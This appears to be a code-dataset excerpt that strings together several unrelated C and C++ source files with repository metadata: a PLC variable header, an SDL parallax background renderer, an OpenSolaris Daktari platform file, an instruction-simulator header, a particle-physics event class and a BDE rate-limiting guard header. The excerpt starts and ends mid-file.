PLC status */ int doWrite_PLC_EngineStatus(u_int16_t value); int addWrite_PLC_EngineStatus(u_int16_t value); int getStatus_PLC_EngineStatus(void); #define ID_PLC_ResetValues 5396 extern int PLC_ResetValues; /* Diagnostic variables reset */ int doWrite_PLC_ResetValues(int value); int addWrite_PLC_ResetValues(int value); int getStatus_PLC_ResetValues(void); #define ID_PLC_buzzerOn 5397 extern int PLC_buzzerOn; /* Buzzer sound (enable = 1 disable = 0) */ int doWrite_PLC_buzzerOn(int value); int addWrite_PLC_buzzerOn(int value); int getStatus_PLC_buzzerOn(void); #define ID_PLC_PLC_Version 5398 extern u_int16_t PLC_PLC_Version; /* PLC application version */ int doWrite_PLC_PLC_Version(u_int16_t value); int addWrite_PLC_PLC_Version(u_int16_t value); int getStatus_PLC_PLC_Version(void); #define ID_PLC_HMI_Version 5399 extern u_int16_t PLC_HMI_Version; /* HMI application version */ int doWrite_PLC_HMI_Version(u_int16_t value); int addWrite_PLC_HMI_Version(u_int16_t value); int getStatus_PLC_HMI_Version(void); #define ID_PLC_Year 5410 extern u_int16_t PLC_Year; /* Currently year */ int doWrite_PLC_Year(u_int16_t value); int addWrite_PLC_Year(u_int16_t value); int getStatus_PLC_Year(void); #define ID_PLC_Month 5411 extern u_int16_t PLC_Month; /* Currently month */ int doWrite_PLC_Month(u_int16_t value); int addWrite_PLC_Month(u_int16_t value); int getStatus_PLC_Month(void); #define ID_PLC_Day 5412 extern u_int16_t PLC_Day; /* Currently day */ int doWrite_PLC_Day(u_int16_t value); int addWrite_PLC_Day(u_int16_t value); int getStatus_PLC_Day(void); #define ID_PLC_Hours 5413 extern u_int16_t PLC_Hours; /* Currently hour */ int doWrite_PLC_Hours(u_int16_t value); int addWrite_PLC_Hours(u_int16_t value); int getStatus_PLC_Hours(void); #define ID_PLC_Minutes 5414 extern u_int16_t PLC_Minutes; /* Currently minutes */ int doWrite_PLC_Minutes(u_int16_t value); int addWrite_PLC_Minutes(u_int16_t value); int getStatus_PLC_Minutes(void); #define ID_PLC_Seconds 5415 extern u_int16_t PLC_Seconds; /* Currently seconds */ int doWrite_PLC_Seconds(u_int16_t value); int addWrite_PLC_Seconds(u_int16_t value); int getStatus_PLC_Seconds(void); #define ID_PLC_UPTIME_s 5416 extern u_int32_t PLC_UPTIME_s; /* Uptime in seconds (wraps in 136 years) */ int doWrite_PLC_UPTIME_s(u_int32_t value); int addWrite_PLC_UPTIME_s(u_int32_t value); int getStatus_PLC_UPTIME_s(void); #define ID_PLC_UPTIME_cs 5417 extern u_int32_t PLC_UPTIME_cs; /* Uptime in centiseconds = 10 ms (wraps in 497 days) */ int doWrite_PLC_UPTIME_cs(u_int32_t value); int addWrite_PLC_UPTIME_cs(u_int32_t value); int getStatus_PLC_UPTIME_cs(void); #define ID_PLC_WATCHDOGEN 5418 extern int PLC_WATCHDOGEN; /* Enable Watchdog */ int doWrite_PLC_WATCHDOGEN(int value); int addWrite_PLC_WATCHDOGEN(int value); int getStatus_PLC_WATCHDOGEN(void); #define ID_PLC_WATCHDOG_ms 5419 extern u_int32_t PLC_WATCHDOG_ms; /* Reset Watchdog timer */ int doWrite_PLC_WATCHDOG_ms(u_int32_t value); int addWrite_PLC_WATCHDOG_ms(u_int32_t value); int getStatus_PLC_WATCHDOG_ms(void); #define ID_PLC_PRODUCT_ID 5420 extern u_int32_t PLC_PRODUCT_ID; /* TP/TPAC/TPLC Product ID (Hex) */ int doWrite_PLC_PRODUCT_ID(u_int32_t value); int addWrite_PLC_PRODUCT_ID(u_int32_t value); int getStatus_PLC_PRODUCT_ID(void); #define ID_PLC_SERIAL_NUMBER 5421 extern u_int32_t PLC_SERIAL_NUMBER; /* TP/TPAC/TPLC Serial Number */ int doWrite_PLC_SERIAL_NUMBER(u_int32_t value); int addWrite_PLC_SERIAL_NUMBER(u_int32_t value); int getStatus_PLC_SERIAL_NUMBER(void); #define ID_PLC_HMI_PAGE 5422 extern int32_t PLC_HMI_PAGE; /* HMI Page (page100=0x00000100) */ int doWrite_PLC_HMI_PAGE(int32_t value); int addWrite_PLC_HMI_PAGE(int32_t value); int getStatus_PLC_HMI_PAGE(void); #define ID_PLC_BEEP_VOLUME 5435 extern u_int8_t PLC_BEEP_VOLUME; /* Beep volume (when buzzerOn) */ int doWrite_PLC_BEEP_VOLUME(u_int8_t value); int addWrite_PLC_BEEP_VOLUME(u_int8_t value); int getStatus_PLC_BEEP_VOLUME(void); #define ID_PLC_TOUCH_VOLUME 5436 extern u_int8_t PLC_TOUCH_VOLUME; /* Touch volume */ int doWrite_PLC_TOUCH_VOLUME(u_int8_t value); int addWrite_PLC_TOUCH_VOLUME(u_int8_t value); int getStatus_PLC_TOUCH_VOLUME(void); #define ID_PLC_ALARM_VOLUME 5437 extern u_int8_t PLC_ALARM_VOLUME; /* Alarm volume (when alarm) */ int doWrite_PLC_ALARM_VOLUME(u_int8_t value); int addWrite_PLC_ALARM_VOLUME(u_int8_t value); int getStatus_PLC_ALARM_VOLUME(void); #define ID_PLC_BUZZER 5438 extern u_int32_t PLC_BUZZER; /* Enable dynamic buzzer sound (0x44332211 up=0x11(%) on=0x22(cs) off=0x33(cs) rep=0x44(times)) */ int doWrite_PLC_BUZZER(u_int32_t value); int addWrite_PLC_BUZZER(u_int32_t value); int getStatus_PLC_BUZZER(void); #ifdef __cplusplus } #endif #endif
0.535156
high
SimplePhysicsEngine/SimplePhysicsEngine/Game/Background.c
fareanor3/World-of-goo
0
7199425
#include "Background.h" #include "Scene.h" void Background_Render(Scene *scene) { Camera *camera = Scene_GetCamera(scene); Renderer *renderer = Scene_GetRenderer(scene); Textures *textures = scene->m_textures; Rect view = Camera_GetView(camera); float xShiftFactors[LAYER_COUNT] = { 0.0f, 0.05f, 0.2f, 0.4f, 0.6f }; float yShiftFactors[LAYER_COUNT] = { 0.0f, 0.05f, 0.1f, 0.2f, 0.3f }; // Couleur de remplissage (identique au ciel) Renderer_Fill(renderer, Color_Set(145, 134, 161, 255)); // Dimension du fond dans le référentiel monde float worldW = 1.3f * 16.0f; float worldH = 1.3f * 9.0f; // Dessine les diff�rents calques du fond (parallax) for (int i = 0; i < LAYER_COUNT; ++i) { Vec2 origin = Vec2_Set( view.x * (1.0f - xShiftFactors[i]), -0.2f + view.y * (1.0f - yShiftFactors[i]) ); int tileXMin = (int)floorf((view.x - origin.x) / worldW); int tileXMax = (int)ceilf((view.x + view.w - origin.x) / worldW); for (int tileXIdx = tileXMin; tileXIdx < tileXMax; ++tileXIdx) { int tileYIdx = 0; Vec2 lower = Vec2_Set(tileXIdx * worldW, (tileYIdx + 1) * worldH); Vec2 upper = Vec2_Set((tileXIdx + 1) * worldW, tileYIdx * worldH); lower = Vec2_Add(lower, origin); upper = Vec2_Add(upper, origin); float x0, x1, y0, y1; Camera_WorldToView(camera, lower, &x0, &y0); Camera_WorldToView(camera, upper, &x1, &y1); SDL_FRect dstRect = { 0 }; dstRect.x = x0; dstRect.y = y0; dstRect.w = fabsf(x1 - x0); dstRect.h = fabsf(y1 - y0); SDL_RenderCopyF(renderer->m_rendererSDL, textures->m_layers[i], NULL, &dstRect); } } } void TileMap_Render(Scene *scene) { Camera *camera = Scene_GetCamera(scene); Renderer *renderer = Scene_GetRenderer(scene); Textures *textures = scene->m_textures; Rect view = Camera_GetView(camera); // Dimension du sol dans le r�f�rentiel monde float worldW = 10.0f; float worldH = 1.0f; // Dessine le sol Vec2 origin = Vec2_Set(0.0f, -1.2f); int tileXMin = (int)floorf((view.x - origin.x) / worldW); int tileXMax = (int)ceilf((view.x + view.w - origin.x) / worldW); for (int tileXIdx = tileXMin; tileXIdx < tileXMax; ++tileXIdx) { int tileYIdx = 0; Vec2 lower = Vec2_Set(tileXIdx * worldW, (tileYIdx + 1) * worldH); Vec2 upper = Vec2_Set((tileXIdx + 1) * worldW, tileYIdx * worldH); lower = Vec2_Add(lower, origin); upper = Vec2_Add(upper, origin); float x0, x1, y0, y1; Camera_WorldToView(camera, lower, &x0, &y0); Camera_WorldToView(camera, upper, &x1, &y1); SDL_FRect dstRect = { 0 }; dstRect.x = x0; dstRect.y = y0; dstRect.w = fabsf(x1 - x0); dstRect.h = fabsf(y1 - y0); SDL_RenderCopyF(renderer->m_rendererSDL, textures->m_ground, NULL, &dstRect); } }
0.996094
high
usr/src/uts/sun4u/daktari/os/daktari.c
AsahiOS/gate
0
7199937
<filename>usr/src/uts/sun4u/daktari/os/daktari.c /* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ /* * Copyright 2009 Sun Microsystems, Inc. All rights reserved. * Use is subject to license terms. */ #include <sys/cpuvar.h> #include <sys/param.h> #include <sys/systm.h> #include <sys/sunddi.h> #include <sys/ddi.h> #include <sys/esunddi.h> #include <sys/sysmacros.h> #include <sys/note.h> #include <sys/modctl.h> /* for modload() */ #include <sys/platform_module.h> #include <sys/errno.h> #include <sys/daktari.h> #include <sys/machsystm.h> #include <sys/promif.h> #include <vm/page.h> #include <sys/memnode.h> #include <vm/vm_dep.h> /* I2C Stuff */ #include <sys/i2c/clients/i2c_client.h> int (*p2get_mem_unum)(int, uint64_t, char *, int, int *); /* Daktari Keyswitch Information */ #define DAK_KEY_POLL_PORT 3 #define DAK_KEY_POLL_BIT 2 #define DAK_KEY_POLL_INTVL 10 static boolean_t key_locked_bit; static clock_t keypoll_timeout_hz; /* * Table that maps memory slices to a specific memnode. */ int slice_to_memnode[DAK_MAX_SLICE]; /* * For software memory interleaving support. */ static void update_mem_bounds(int, int, int, uint64_t, uint64_t); static uint64_t slice_table[DAK_SBD_SLOTS][DAK_CPUS_PER_BOARD][DAK_BANKS_PER_MC][2]; #define SLICE_PA 0 #define SLICE_SPAN 1 int (*daktari_ssc050_get_port_bit) (dev_info_t *, int, int, uint8_t *, int); extern void (*abort_seq_handler)(); static int daktari_dev_search(dev_info_t *, void *); static void keyswitch_poll(void *); static void daktari_abort_seq_handler(char *msg); void startup_platform(void) { /* * Disable an active h/w watchdog timer * upon exit to OBP. */ extern int disable_watchdog_on_exit; disable_watchdog_on_exit = 1; } int set_platform_tsb_spares() { return (0); } #pragma weak mmu_init_large_pages void set_platform_defaults(void) { extern void mmu_init_large_pages(size_t); if ((mmu_page_sizes == max_mmu_page_sizes) && (mmu_ism_pagesize != DEFAULT_ISM_PAGESIZE)) { if (&mmu_init_large_pages) mmu_init_large_pages(mmu_ism_pagesize); } } void load_platform_modules(void) { if (modload("misc", "pcihp") < 0) { cmn_err(CE_NOTE, "pcihp driver failed to load"); } if (modload("drv", "pmc") < 0) { cmn_err(CE_NOTE, "pmc driver failed to load"); } } void load_platform_drivers(void) { char **drv; dev_info_t *keysw_dip; static char *boot_time_drivers[] = { "hpc3130", "todds1287", "mc-us3", "ssc050", "pcisch", NULL }; for (drv = boot_time_drivers; *drv; drv++) { if (i_ddi_attach_hw_nodes(*drv) != DDI_SUCCESS) cmn_err(CE_WARN, "Failed to install \"%s\" driver.", *drv); } /* * mc-us3 & ssc050 must stay loaded for plat_get_mem_unum() * and keyswitch_poll() */ (void) ddi_hold_driver(ddi_name_to_major("mc-us3")); (void) ddi_hold_driver(ddi_name_to_major("ssc050")); /* Gain access into the ssc050_get_port function */ daktari_ssc050_get_port_bit = (int (*) (dev_info_t *, int, int, uint8_t *, int)) modgetsymvalue("ssc050_get_port_bit", 0); if (daktari_ssc050_get_port_bit == NULL) { cmn_err(CE_WARN, "cannot find ssc050_get_port_bit"); return; } ddi_walk_devs(ddi_root_node(), daktari_dev_search, (void *)&keysw_dip); ASSERT(keysw_dip != NULL); /* * prevent detach of i2c-ssc050 */ e_ddi_hold_devi(keysw_dip); keypoll_timeout_hz = drv_usectohz(10 * MICROSEC); keyswitch_poll(keysw_dip); abort_seq_handler = daktari_abort_seq_handler; } static int daktari_dev_search(dev_info_t *dip, void *arg) { char *compatible = NULL; /* Search tree for "i2c-ssc050" */ int *dev_regs; /* Info about where the device is. */ uint_t len; int err; if (ddi_prop_lookup_string(DDI_DEV_T_ANY, dip, DDI_PROP_DONTPASS, "compatible", &compatible) != DDI_PROP_SUCCESS) return (DDI_WALK_CONTINUE); if (strcmp(compatible, "i2c-ssc050") == 0) { ddi_prop_free(compatible); err = ddi_prop_lookup_int_array(DDI_DEV_T_ANY, dip, DDI_PROP_DONTPASS, "reg", &dev_regs, &len); if (err != DDI_PROP_SUCCESS) { return (DDI_WALK_CONTINUE); } /* * regs[0] contains the bus number and regs[1] * contains the device address of the i2c device. * 0x82 is the device address of the i2c device * from which the key switch position is read. */ if (dev_regs[0] == 0 && dev_regs[1] == 0x82) { *((dev_info_t **)arg) = dip; ddi_prop_free(dev_regs); return (DDI_WALK_TERMINATE); } ddi_prop_free(dev_regs); } else { ddi_prop_free(compatible); } return (DDI_WALK_CONTINUE); } static void keyswitch_poll(void *arg) { dev_info_t *dip = arg; uchar_t port_byte; int port = DAK_KEY_POLL_PORT; int bit = DAK_KEY_POLL_BIT; int err; err = daktari_ssc050_get_port_bit(dip, port, bit, &port_byte, I2C_NOSLEEP); if (err != 0) { cmn_err(CE_WARN, "keyswitch polling disabled: " "errno=%d while reading ssc050", err); return; } key_locked_bit = (boolean_t)((port_byte & 0x1)); (void) timeout(keyswitch_poll, (caddr_t)dip, keypoll_timeout_hz); } static void daktari_abort_seq_handler(char *msg) { if (key_locked_bit == 0) cmn_err(CE_CONT, "KEY in LOCKED position, " "ignoring debug enter sequence"); else { debug_enter(msg); } } int plat_cpu_poweron(struct cpu *cp) { _NOTE(ARGUNUSED(cp)) return (ENOTSUP); } int plat_cpu_poweroff(struct cpu *cp) { _NOTE(ARGUNUSED(cp)) return (ENOTSUP); } /* * Given a pfn, return the board and beginning/end of the page's * memory controller's address range. */ static int plat_discover_slice(pfn_t pfn, pfn_t *first, pfn_t *last) { int bd, cpu, bank; for (bd = 0; bd < DAK_SBD_SLOTS; bd++) { for (cpu = 0; cpu < DAK_CPUS_PER_BOARD; cpu++) { for (bank = 0; bank < DAK_BANKS_PER_MC; bank++) { uint64_t *slice = slice_table[bd][cpu][bank]; uint64_t base = btop(slice[SLICE_PA]); uint64_t len = btop(slice[SLICE_SPAN]); if (len && pfn >= base && pfn < (base + len)) { *first = base; *last = base + len - 1; return (bd); } } } } panic("plat_discover_slice: no slice for pfn 0x%lx\n", pfn); /* NOTREACHED */ } /*ARGSUSED*/ void plat_freelist_process(int mnode) {} /* * Called for each board/cpu/PA range detected in plat_fill_mc(). */ static void update_mem_bounds(int boardid, int cpuid, int bankid, uint64_t base, uint64_t size) { uint64_t end; int mnode; slice_table[boardid][cpuid][bankid][SLICE_PA] = base; slice_table[boardid][cpuid][bankid][SLICE_SPAN] = size; end = base + size - 1; /* * First see if this board already has a memnode associated * with it. If not, see if this slice has a memnode. This * covers the cases where a single slice covers multiple * boards (cross-board interleaving) and where a single * board has multiple slices (1+GB DIMMs). */ if ((mnode = plat_lgrphand_to_mem_node(boardid)) == -1) { if ((mnode = slice_to_memnode[PA_2_SLICE(base)]) == -1) mnode = mem_node_alloc(); ASSERT(mnode >= 0); ASSERT(mnode < MAX_MEM_NODES); plat_assign_lgrphand_to_mem_node(boardid, mnode); } base = P2ALIGN(base, (1ul << PA_SLICE_SHIFT)); while (base < end) { slice_to_memnode[PA_2_SLICE(base)] = mnode; base += (1ul << PA_SLICE_SHIFT); } } /* * Dynamically detect memory slices in the system by decoding * the cpu memory decoder registers at boot time. */ void plat_fill_mc(pnode_t nodeid) { uint64_t mc_addr, saf_addr; uint64_t mc_decode[DAK_BANKS_PER_MC]; uint64_t base, size; uint64_t saf_mask; uint64_t offset; uint32_t regs[4]; int len; int local_mc; int portid; int boardid; int cpuid; int i; if ((prom_getprop(nodeid, "portid", (caddr_t)&portid) < 0) || (portid == -1)) return; /* * Decode the board number from the MC portid. Assumes * portid == safari agentid. */ boardid = DAK_GETSLOT(portid); cpuid = DAK_GETSID(portid); /* * The "reg" property returns 4 32-bit values. The first two are * combined to form a 64-bit address. The second two are for a * 64-bit size, but we don't actually need to look at that value. */ len = prom_getproplen(nodeid, "reg"); if (len != (sizeof (uint32_t) * 4)) { prom_printf("Warning: malformed 'reg' property\n"); return; } if (prom_getprop(nodeid, "reg", (caddr_t)regs) < 0) return; mc_addr = ((uint64_t)regs[0]) << 32; mc_addr |= (uint64_t)regs[1]; /* * Figure out whether the memory controller we are examining * belongs to this CPU or a different one. */ saf_addr = lddsafaddr(8); saf_mask = (uint64_t)SAF_MASK; if ((mc_addr & saf_mask) == saf_addr) local_mc = 1; else local_mc = 0; for (i = 0; i < DAK_BANKS_PER_MC; i++) { /* * Memory decode masks are at offsets 0x10 - 0x28. */ offset = 0x10 + (i << 3); /* * If the memory controller is local to this CPU, we use * the special ASI to read the decode registers. * Otherwise, we load the values from a magic address in * I/O space. */ if (local_mc) mc_decode[i] = lddmcdecode(offset); else mc_decode[i] = lddphysio(mc_addr | offset); /* * If the upper bit is set, we have a valid mask */ if ((int64_t)mc_decode[i] < 0) { /* * The memory decode register is a bitmask field, * so we can decode that into both a base and * a span. */ base = MC_BASE(mc_decode[i]) << PHYS2UM_SHIFT; size = MC_UK2SPAN(mc_decode[i]); update_mem_bounds(boardid, cpuid, i, base, size); } } } /* * This routine is run midway through the boot process. By the time we get * here, we know about all the active CPU boards in the system, and we have * extracted information about each board's memory from the memory * controllers. We have also figured out which ranges of memory will be * assigned to which memnodes, so we walk the slice table to build the table * of memnodes. */ /* ARGSUSED */ void plat_build_mem_nodes(prom_memlist_t *list, size_t nelems) { int slice; pfn_t basepfn; pgcnt_t npgs; mem_node_pfn_shift = PFN_SLICE_SHIFT; mem_node_physalign = (1ull << PA_SLICE_SHIFT); npgs = 1ull << PFN_SLICE_SHIFT; for (slice = 0; slice < DAK_MAX_SLICE; slice++) { if (slice_to_memnode[slice] == -1) continue; basepfn = (uint64_t)slice << PFN_SLICE_SHIFT; mem_node_add_slice(basepfn, basepfn + npgs - 1); } } /* * Daktari support for lgroups. * * On Daktari, an lgroup platform handle == slot number. * * Mappings between lgroup handles and memnodes are managed * in addition to mappings between memory slices and memnodes * to support cross-board interleaving as well as multiple * slices per board (e.g. >1GB DIMMs). The initial mapping * of memnodes to lgroup handles is determined at boot time. */ int plat_pfn_to_mem_node(pfn_t pfn) { return (slice_to_memnode[PFN_2_SLICE(pfn)]); } /* * Return the platform handle for the lgroup containing the given CPU * * For Daktari, lgroup platform handle == slot number */ lgrp_handle_t plat_lgrp_cpu_to_hand(processorid_t id) { return (DAK_GETSLOT(id)); } /* * Platform specific lgroup initialization */ void plat_lgrp_init(void) { int i; /* * Initialize lookup tables to invalid values so we catch * any illegal use of them. */ for (i = 0; i < DAK_MAX_SLICE; i++) { slice_to_memnode[i] = -1; } } /* * Return latency between "from" and "to" lgroups * * This latency number can only be used for relative comparison * between lgroups on the running system, cannot be used across platforms, * and may not reflect the actual latency. It is platform and implementation * specific, so platform gets to decide its value. It would be nice if the * number was at least proportional to make comparisons more meaningful though. * NOTE: The numbers below are supposed to be load latencies for uncached * memory divided by 10. */ int plat_lgrp_latency(lgrp_handle_t from, lgrp_handle_t to) { /* * Return min remote latency when there are more than two lgroups * (root and child) and getting latency between two different lgroups * or root is involved */ if (lgrp_optimizations() && (from != to || from == LGRP_DEFAULT_HANDLE || to == LGRP_DEFAULT_HANDLE)) return (21); else return (19); } /* * No platform drivers on this platform */ char *platform_module_list[] = { (char *)0 }; /*ARGSUSED*/ void plat_tod_fault(enum tod_fault_type tod_bad) { } /*ARGSUSED*/ int plat_get_mem_unum(int synd_code, uint64_t flt_addr, int flt_bus_id, int flt_in_memory, ushort_t flt_status, char *buf, int buflen, int *lenp) { if (flt_in_memory && (p2get_mem_unum != NULL)) return (p2get_mem_unum(synd_code, P2ALIGN(flt_addr, 8), buf, buflen, lenp)); else return (ENOTSUP); } /* * This platform hook gets called from mc_add_mem_unum_label() in the mc-us3 * driver giving each platform the opportunity to add platform * specific label information to the unum for ECC error logging purposes. */ void plat_add_mem_unum_label(char *unum, int mcid, int bank, int dimm) { _NOTE(ARGUNUSED(bank, dimm)) char board = DAK_GETSLOT_LABEL(mcid); char old_unum[UNUM_NAMLEN]; (void) strcpy(old_unum, unum); (void) snprintf(unum, UNUM_NAMLEN, "Slot %c: %s", board, old_unum); } int plat_get_cpu_unum(int cpuid, char *buf, int buflen, int *lenp) { char board = DAK_GETSLOT_LABEL(cpuid); if (snprintf(buf, buflen, "Slot %c", board) >= buflen) { return (ENOSPC); } else { *lenp = strlen(buf); return (0); } } /* * The zuluvm module required a dmv interrupt for each installed * Zulu/XVR-4000 board. The following has not been updated during the * removal of zuluvm and therefore it may be suboptimal. */ void plat_dmv_params(uint_t *hwint, uint_t *swint) { *hwint = 0; *swint = DAK_SBD_SLOTS - 1; }
0.976563
high
llvm_sim/components/parser.h
the-eager-ghosts/EXEgesis
201
800449
// Copyright 2018 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // An instruction parser with a limited bandwidth. #ifndef EXEGESIS_LLVM_SIM_COMPONENTS_PARSER_H_ #define EXEGESIS_LLVM_SIM_COMPONENTS_PARSER_H_ #include "llvm_sim/components/common.h" #include "llvm_sim/framework/component.h" namespace exegesis { namespace simulator { class InstructionParser : public Component { public: struct Config { int MaxInstructionsPerCycle; }; InstructionParser(const GlobalContext* Context, const Config& Config, Source<InstructionIndex>* Source, Sink<InstructionIndex>* Sink); ~InstructionParser() override; void Tick(const BlockContext* BlockContext) override; private: const Config Config_; Source<InstructionIndex>* const Source_; Sink<InstructionIndex>* const Sink_; }; } // namespace simulator } // namespace exegesis #endif // EXEGESIS_LLVM_SIM_COMPONENTS_PARSER_H_
0.992188
high
interface/TopPairEventCandidate.h
jjacob/AnalysisSoftware
0
800961
<gh_stars>0 /* * TopPairEventCandidate.h * * Created on: 9 Jul 2010 * Author: kreczko */ #ifndef TOPPAIREVENTCANDIDATE_H_ #define TOPPAIREVENTCANDIDATE_H_ #include <boost/shared_ptr.hpp> #include "Event.h" #include "RecoObjects/Particle.h" #include "RecoObjects/Electron.h" #include "RecoObjects/Jet.h" #include "Taggers/ConversionTagger.h" #include "TtbarHypothesis.h" #include "ReconstructionModules/ReconstructionException.h" namespace BAT { namespace NeutrinoSelectionCriterion { enum value { pzClosestToLepton, mostCentral, pzClosestToLeptonOrMostcentralIfAbove300, largestValueOfCosine, chi2, TopMassDifference }; } namespace TTbarReconstructionCriterion { enum value { TopMassDifference, chi2 }; } namespace TTbarEPlusJetsSelection { //TODO: change to new counting enum Step { FilterOutScraping, HighLevelTrigger, GoodPrimaryvertex, OneIsolatedElectron, LooseMuonVeto, DileptonVeto, ConversionRejection, ConversionFinder, AtLeastOneGoodJet, AtLeastTwoGoodJets, AtLeastThreeGoodJets, AtLeastFourGoodJets, MissingTransverseEnergy, AsymmetricJetCuts, AtLeastOneBtag, AtLeastTwoBtags, NUMBER_OF_SELECTION_STEPS }; const std::string StringSteps[NUMBER_OF_SELECTION_STEPS] = { "Scraping Filter", // "High Level Trigger", // "good primary vertex", // "exactly one isolated electron", // "loose muon veto", // "di-lepton veto", // "Conversion veto (missing hits)", // "Conversion finder (partner track)", // ">= 1 jets", // ">= 2 jets", // ">= 3 jets", // ">= 4 jets", // "MET > 20GeV", // "jet pT: 1st > 70 GeV, 2nd > 50 GeV", // ">=1 SSV b-tag", // ">=2 SSV b-tag" }; } namespace TTbarMuPlusJetsSelection { enum Step { EventCleaning, HighLevelTrigger, OneIsolatedMuon, LooseMuonVeto, LooseElectronVeto, AtLeastOneGoodJets, AtLeastTwoGoodJets, AtLeastThreeGoodJets, AtLeastFourGoodJets, MissingTransverseEnergy, AsymmetricJetCuts, AtLeastOneBtag, AtLeastTwoBtags, NUMBER_OF_SELECTION_STEPS }; const std::string StringSteps[NUMBER_OF_SELECTION_STEPS] = { "Event cleaning", "High Level Trigger", "exactly one isolated muon", "loose muon veto", "electron veto", ">= 1 jets", ">= 2 jets", ">= 3 jets", ">= 4 jets", "MET > 20GeV", "jet pT: 1st > 70 GeV, 2nd > 50 GeV", ">=1 SSV b-tag", ">=2 SSV b-tag" }; } /** * @deprecated * Do not use this class any more */ class TopPairEventCandidate: public Event { protected: //// static double const matched_angle;// = 0.945666; //// static double const matched_angle_sigma;// = 0.311091; // static double const matched_leptonic_top_mass; // = 178.377; // static double const matched_leptonic_top_mass_sigma; // = 31.050; // static double const matched_hadronic_W_mass; // = 89.9153; // static double const matched_hadronic_W_mass_sigma; // = 13.8711; // static double const matched_hadronic_top_mass; // = 182.191; // static double const matched_hadronic_top_mass_sigma; // = 22.1484; //// static double const matched_ptratio;// = 0.18552; //// static double const matched_ptratio_sigma;// = 0.401973; // static double const matched_pt_ttbarSystem; // = 0.0760939; // static double const matched_pt_ttbarSystem_sigma; // = 0.0700391; // static double const matched_HTSystem; // = 1; // static double const matched_HTSystem_sigma; // = 0.1; // static double const W_mass; ElectronPointer electronFromW; JetPointer leptonicBJet, hadronicBJet, jet1FromW, jet2FromW; ParticlePointer neutrino1, neutrino2, leptonicW1, leptonicW2, hadronicW, leptonicTop1, leptonicTop2, hadronicTop, ttbarResonance; unsigned short selectedNeutrino, currentSelectedNeutrino, hadronicBIndex, leptonicBIndex, jet1FromWIndex, jet2FromWIndex; // bool doneReconstruction_; // ConversionTaggerPointer conversionTagger; // bool doneConversionTagging; std::vector<TtbarHypothesisPointer> solutions; compare_totalChi2 compareSolutions; public: // static NeutrinoSelectionCriterion::value usedNeutrinoSelection; // static TTbarReconstructionCriterion::value usedTTbarReconstruction; TopPairEventCandidate(); TopPairEventCandidate(const Event& event); virtual ~TopPairEventCandidate(); const JetPointer getLeptonicBJet() const; const JetPointer getHadronicBJet() const; const JetPointer getJet1FromHadronicW() const; const JetPointer getJet2FromHadronicW() const; const ElectronPointer getElectronFromWDecay() const; const ParticlePointer getNeutrinoFromWDecay() const; const ParticlePointer getLeptonicW() const; const ParticlePointer getHadronicW() const; const ParticlePointer getLeptonicTop() const; const ParticlePointer getHadronicTop() const; const ParticlePointer getResonance() const; double mttbar() const; double sumPt() const; double HT(unsigned short jetLimit) const; double fullHT() const; double transverseWmass(const ElectronPointer electron) const; double HTSystem() const; double PtRatio() const; double PtTtbarSystem(unsigned short neutrinoSolution) const; const boost::array<double, 2> computeNeutrinoPz(); void inspectReconstructedEvent() const; const std::vector<TtbarHypothesisPointer>& Solutions() const; }; typedef boost::shared_ptr<TopPairEventCandidate> TopPairEventCandidatePtr; //TODO: make this class simpler struct InterestingEvent { public: BAT::TopPairEventCandidatePtr candidate; // unsigned long runNumber, eventNumber; std::string fileName; InterestingEvent(unsigned long run, unsigned long event, std::string file) : candidate(), // // runNumber(run), // // eventNumber(event), // fileName(file) { } InterestingEvent(BAT::TopPairEventCandidatePtr cand, std::string file) : candidate(cand), // // runNumber(cand.runnumber()), // // eventNumber(cand.eventnumber()), // fileName(file) { } ~InterestingEvent() { } void print() { std::cout << "run " << candidate->runnumber() << ", event " << candidate->eventnumber() << " (Mttbar: " << candidate->mttbar() << ")" << std::endl; std::cout << "located in: " << fileName << std::endl << std::endl; } }; } #endif /* TOPPAIREVENTCANDIDATE_H_ */
0.988281
high
groups/btl/btls/btls_reservationguard.h
apaprocki/bde
1
801473
<reponame>apaprocki/bde // btls_reservationguard.h -*-C++-*- // ---------------------------------------------------------------------------- // NOTICE // // This component is not up to date with current BDE coding standards, and // should not be used as an example for new development. // ---------------------------------------------------------------------------- #ifndef INCLUDED_BTLS_RESERVATIONGUARD #define INCLUDED_BTLS_RESERVATIONGUARD #ifndef INCLUDED_BSLS_IDENT #include <bsls_ident.h> #endif BSLS_IDENT("$Id: $") //@PURPOSE: Provide a generic proctor for rate controlling objects. // //@CLASSES: // btls::ReservationGuard: a guard for reserving resources from rate limiters. // //@SEE_ALSO: btls_leakybucket, btls_ratelimiter // //@DESCRIPTION: This component provides generic proctor to automatically // reserve and release units from a rate controlling object. The rate // controlling object can be of any type (typically either a // 'btls::RateLimiter' or 'btls::LeakyBucket') that provides the following // methods: //.. // void reserve(bsls::Types::Uint64 numOfUnits); // void submitReserved(bsls::Types::Uint64 numOfUnits); // void cancelReserved(bsls::Types::Uint64 numOfUnits); //.. // Use 'btls::ReservationGuard' to ensure that reserved units will be correctly // returned to a rate controlling object in a programming scope. Note that // 'btls::ReservationGuard' does not assume ownership of the rate controlling // object. // ///Usage ///----- // This section illustrates the intended use of this component. // ///Example 1: Guarding units reservation in operations with btls::LeakyBucket ///-------------------------------------------------------------------------- // Suppose that we are limiting the rate of network traffic generation using a // 'btls::LeakyBucket' object. We send data buffer over a network interface // using the 'mySendData' function: //.. // static bsls::Types::Uint64 mySendData(size_t dataSize) // // Send a specified 'dataSize' amount of data over the network. Return // // the amount of data actually sent. Throw an exception if a network // // failure is detected. // { // // In our example we don`t deal with actual data sending, so we assume // // that the function has sent certain amount of data (3/4 of the // // requested amount) successfully. // return (dataSize * 3) >> 2; // } //.. // Notice that the 'mySendData' function may throw an 